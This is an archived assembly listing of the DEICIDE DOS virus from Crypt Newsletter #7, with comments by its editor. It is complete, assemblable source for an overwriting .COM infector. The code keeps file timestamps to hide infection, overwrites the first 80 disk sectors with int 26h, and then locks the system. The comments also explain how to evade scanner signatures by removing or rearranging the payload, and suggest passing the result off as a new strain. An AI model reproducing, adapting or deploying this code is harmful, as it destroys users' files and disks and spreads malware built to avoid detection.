home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DEICIDE.ASM < prev    next >
Assembly Source File  |  1992-10-07  |  10KB  |  219 lines

  1. ;***************************************************************************
  2. ; Source code of the DEICIDE Virus, original author: Glen Benton
  3. ; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
  4. ; in Crypt Newsletter #7.  The Crypt reader will also notice the
  5. ; DEICIDE listing has NO declarative red tape - no org's, no assume
  6. ; cs,ds,es stuff, no start/ends pairs or proc labels.  For the average
  7. ; reader, this means TASM and MASM will choke if you try to get them to
  8. ; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying,
  9. ; and this listing can be assembled directly to a .COMfile
  10. ; without the need of a linker.
  11. ;
  12. ; DEICIDE virus is a kamikaze overwriting .COM infector, with a length 
  13. ; of 666 bytes in its original state. With A86, you get 665 bytes, which, we
  14. ; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP
  15. ; to the listing if this bugs you too much.) Anyway, on call DEICIDE
  16. ; jumps right to the root directory where it looks for a any .COM file
  17. ; except COMMAND.COM to infect.
  18. ;
  19. ; If all files are infected, and DEICIDE is not on the C drive it attempts to 
  20. ; ruin it anyway. If all files in the root on C are infected, the fixed disk 
  21. ; is destroyed, a message displayed and the computer hung. 
  22. ; If a program is successfully overwritten, DEICIDE exits to DOS 
  23. ; after displaying 'File corruption error.' If DEICIDE is trapped on
  24. ; a diskette that is write-protected, it will generate noxious 'Abort,
  25. ; Retry, Ignore, Fail' messages.
  26. ;
  27. ; You can work with DEICIDE quite easily by commenting out the destructive
  28. ; sequence and reassembling. Then it will merely mess up .COM's in
  29. ; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE
  30. ; will promptly foul your command processor and the operating system
  31. ; won't load properly when you reboot. In an interesting side note, 
  32. ; removing the destructive payload of DEICIDE causes SCAN to lose sight of
  33. ; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool
  34. ; your friends who think you've written a virus from scratch.)
  35. ; The DEBUG script of DEICIDE has the destructive payload "rearranged" and
  36. ; is not, strictly speaking, identical to this listing. This has made
  37. ; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2) 
  38. ; functionally similar to the original, but 
  39. ; still invisible to SCAN v85b and a number of other commercial products.
  40. ; The lesson to be learned here is that software developers shouldn't choose
  41. ; generic disk overwriting payloads as signatures for their scanners.
  42. ;
  43. ; I must confess I'm fascinated by the mind that went into creating DEICIDE.
  44. ; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus.
  45. ; Think a moment. How many files are in your root directory? How long before
  46. ; this sucker activated and spoiled your afternoon? Once? Twice? In
  47. ; any case, it still is an easily understood piece of code, enjoying its
  48. ; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH.
  49. ;***************************************************************************
  50.  
  51. Start_Prog:     jmp short Start_Virus
  52.                 nop
  53.  
  54. Message         db 0Dh,0Ah,'DEICIDE!'
  55.                 db 0Dh,0Ah
  56.                 db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!'
  57.                 db 0Dh,0Ah
  58.                 db 0Dh,0Ah,'Next time be carufull with illegal stuff......$'
  59.  
  60. Start_Virus:    mov ah,19h                      ; Get actual drive
  61.                 int 21h
  62.  
  63.                 db 0A2h                         ; Mov [EA],al
  64.                 dw offset Infect_Drive
  65.                 db 0A2h                     ; A86 assembles this differently
  66.                 dw offset Actual_Drive      ; so put the original code here
  67.  
  68.                 mov ah,47h                 ; Get actual directory
  69.                 mov dl,0
  70.                 mov si,offset Actual_Dir
  71.                 int 21h
  72.  
  73.                 mov ah,1Ah                 ; stash DTA in safe place
  74.                 mov dx,offset New_DTA
  75.                 int 21h
  76.  
  77. Infect_Next:    mov ah,3Bh                 ; DOS chdir function, go to root dir
  78.                 mov dx,offset Root_Dir
  79.                 int 21h
  80.  
  81.                 mov ah,4Eh                 ; Search first .COM file
  82.                 mov cx,0
  83.                 mov dx,offset Search_Path  ; using file mask
  84.                 int 21h
  85.  
  86. Check_Command:  mov al,'D'         ; Check if 7th char is a 'D' (To prevent
  87.                 cmp [New_DTA+24h],al       ; infecting COMMAND.COM, causing 
  88.                 jnz Check_Infect           ; noticeable boot failure)
  89.                 jmp short Search_Next
  90.                 nop
  91.  
  92. Check_Infect:   mov ah,3Dh             ; Open found file with write access
  93.                 mov al,2
  94.                 mov dx,offset New_DTA+1Eh
  95.                 int 21h
  96.                 mov File_Handle,ax              ; Save handle
  97.                 mov bx,ax
  98.  
  99.                 mov ah,57h                      ; Get date/time of file
  100.                 mov al,0                        ; why, for Heaven's sake?
  101.                 int 21h
  102.                 mov File_Date,dx
  103.                 mov File_Time,cx
  104.  
  105.                 call Go_Beg_File                ; Go to beginning of file
  106.  
  107.                 mov ah,3Fh                      ; Read first 2 bytes
  108.                 mov cx,2
  109.                 mov dx,offset Read_Buf          ; into a comparison buffer
  110.                 int 21h
  111.  
  112.                 mov al,byte ptr [Read_Buf+1]   ; now, take a look at the
  113.                 cmp al,offset Start_Virus-102h ; buffer and the start of
  114.                 jnz Infect                     ; DEICIDE. Is it the
  115.                                                ; jump? If not, infect file
  116.                 mov ah,3Eh                  ; Already infected, so close file
  117.                 int 21h
  118.  
  119. Search_Next:    mov ah,4Fh                  ; Search next file function
  120.                 int 21h
  121.                 jnc Check_Command           ; No error - try this file
  122.  
  123.                 mov al,Infect_Drive         ; Skip to next drive,
  124.                 cmp al,0                     
  125.                 jnz No_A_Drive               
  126.                 inc al
  127. No_A_Drive:     inc al
  128.                 cmp al,3                   ; Is the drive C:?
  129.                 jnz No_Destroy             ; 
  130.                                            ; if it is and haven't been
  131.                                            ; able to infect
  132.                 mov al,2                   ; Overwrite first 80 sectors, 
  133.                 mov bx,0                   ; BUMMER!
  134.                 mov cx,50h                 ; BUMMER!
  135.                 mov dx,0                   ; BUMMER!
  136.                 int 26h                    ; BUMMER!
  137.                 
  138.                 mov ah,9                   ; Show silly message 
  139.                 mov dx,offset Message
  140.                 int 21h
  141.                 
  142.  
  143. Lock_System:    jmp short Lock_System  ; lock up the system so the poor fool
  144.                                      ; has to start reloading right away 
  145. No_Destroy:     mov dl,al                          ; New actual drive
  146.                 mov ah,0Eh
  147.                 mov Infect_Drive,dl                ; Save drive number.
  148.                 int 21h
  149.  
  150.                 jmp Infect_Next
  151.  
  152. Infect:         call Go_Beg_File          ;call seek routine
  153.  
  154.                 mov ah,40h                ; Write DEICIDE to the file
  155.                 mov cx,offset End_Virus-100h  ;right over the top, starting
  156.                 mov dx,100h               ; at the beginning, thus messing
  157.                 int 21h                   ; up everything
  158.  
  159.                 mov ah,57h                      ; Restore date/time of file
  160.                 mov al,1                        ; why, for God's sake? You 
  161.                 mov cx,File_Time                ; think no one will notice
  162.                 mov dx,File_Date                ; file is destroyed?
  163.                 int 21h
  164.  
  165.                 mov ah,3Eh                       ; Close file, let's be neat
  166.                 int 21h
  167.  
  168.                 mov dl,byte ptr [Actual_Drive]   ; Back to original drive
  169.                 mov ah,0Eh
  170.                 int 21h
  171.  
  172.                 mov ah,3Bh                       ; And original dir
  173.                 mov dx,offset Actual_Dir
  174.                 int 21h
  175.  
  176.                 mov ah,9                      ; Show 'File corruption error.'
  177.                 mov dx,offset Quit_Message    ; when destroyed, infected 
  178.                 int 21h                       ; program misfires and DEICIDE
  179.                                           ; executes so user may be placated
  180.                 int 20h                   ; Exit back to DOS
  181.  
  182. Go_Beg_File:    mov ah,42h                ; Procedure: seek to start of file
  183.                 mov al,0
  184.                 mov cx,0
  185.                 mov dx,0
  186.                 int 21h
  187.                 ret
  188.  
  189.  
  190. File_Date       dw (?)
  191. File_Time       dw (?)
  192.  
  193. File_Handle     dw (?)
  194.  
  195. Infect_Drive    db (?)
  196.  
  197. Root_Dir        db '\',0
  198.  
  199. Search_Path     db '*.COM',0
  200.  
  201. Read_Buf        db 2 dup (?)
  202.  
  203. Actual_Drive    db (?)
  204.  
  205.  
  206. Quit_Message    db 'File corruption error.',0Dh,0Ah,'$'
  207.  
  208. New_DTA         db 2Bh dup (?)
  209.  
  210. Actual_Dir      db 40h dup (?)
  211.  
  212.                 db 'This experimental virus was written by Glenn Benton to '
  213.                 db 'see if I can make a virus while learning machinecode for '
  214.                 db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going '
  215.                 db 'making virusses.'
  216.  
  217. End_Virus:
  218.  
  219.